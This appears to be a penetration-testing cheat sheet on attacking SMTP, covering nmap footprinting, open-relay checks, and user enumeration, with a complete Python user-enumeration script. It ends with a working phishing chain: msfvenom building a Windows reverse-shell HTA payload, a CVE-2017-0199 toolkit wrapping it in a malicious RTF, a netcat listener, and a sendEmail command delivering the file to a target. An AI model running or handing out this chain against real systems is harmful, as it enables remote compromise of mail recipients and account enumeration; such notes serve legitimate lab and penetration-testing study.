Simple Mail Transfer Protocol

Footprinting The Service
Nmap
sudo nmap 10.129.14.128 -sC -sV -p25

Nmap - Open Relay
sudo nmap 10.129.14.128 -p25 --script smtp-open-relay -v


Enumerate users
Response codes from smtp servers may vary example code 250 & 252 is considered a valid user and smtp-user-enum checks only for 250
Without Domain
smtp-user-enum -M VRFY -U wordlist -t IP
With Domain
smtp-user-enum -M VRFY -U wordlist -t IP -d example.com
I have came across many times where smtp-user-enum has given me false-negatives. Use the following python script
import smtplib
import logging
from argparse import ArgumentParser
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(message)s')
logger = logging.getLogger()
def smtp_enum_user(smtp_server, user_list, method="VRFY", port=25, timeout=10, domain="example.com"):
try:
server = smtplib.SMTP(smtp_server, port, timeout=timeout)
server.ehlo_or_helo_if_needed()
if method not in ["VRFY", "EXPN", "RCPT"]:
logger.error("Invalid method. Use VRFY, EXPN, or RCPT.")
return
with open(user_list, 'r') as file:
users = file.readlines()
for user in users:
user = user.strip()
if not user:
continue
try:
response = None
if method == "VRFY":
response = server.verify(user)
elif method == "EXPN":
response = server.expn(user)
elif method == "RCPT":
from_address = f"test@{domain}"
server.mail(from_address)
response = server.rcpt(f'<{user}@{domain}>')
if response:
code, message = response
if code == 250:
logger.info(f"User {user} exists: {message}")
elif code == 550:
logger.info(f"User {user} does not exist: {message}")
else:
logger.info(f"Received response {code} for user {user}: {message}")
except smtplib.SMTPServerDisconnected:
logger.error("Server disconnected unexpectedly")
break
except Exception as e:
logger.error(f"Error querying user {user}: {str(e)}")
server.quit()
except Exception as e:
logger.error(f"Failed to connect to SMTP server: {str(e)}")
def main():
parser = ArgumentParser(description="SMTP User Enumeration Script")
parser.add_argument("-s", "--server", required=True, help="Target SMTP server IP or hostname")
parser.add_argument("-u", "--userlist", required=True, help="Path to the list of usernames")
parser.add_argument("-m", "--method", default="VRFY", choices=["VRFY", "EXPN", "RCPT"], help="Enumeration method (default: VRFY)")
parser.add_argument("-p", "--port", default=25, type=int, help="SMTP server port (default: 25)")
parser.add_argument("-t", "--timeout", default=10, type=int, help="Connection timeout in seconds (default: 10)")
parser.add_argument("-d", "--domain", default="example.com", help="Domain to construct a valid email address (default: example.com)")
args = parser.parse_args()
smtp_enum_user(args.server, args.userlist, args.method, args.port, args.timeout, args.domain)
if __name__ == "__main__":
main()
msfvenom -p windows/shell_reverse_tcp LHOST=local-IP LPORT=443 -f hta-psh -o msfv.hta
python2 cve-2017-0199_toolkit.py -M gen -t RTF -w MailFile.RTF -u http://local-WebServIP:Port/msfv.hta
python2 -m SimpleHTTPServer 80
nc -lnvp 443
sendEmail -f FromEmail@example.com -t ToEmail@example.com -u "Subject" -m "Message" -a MailFile.RTF -s TargetIP -v
Last updated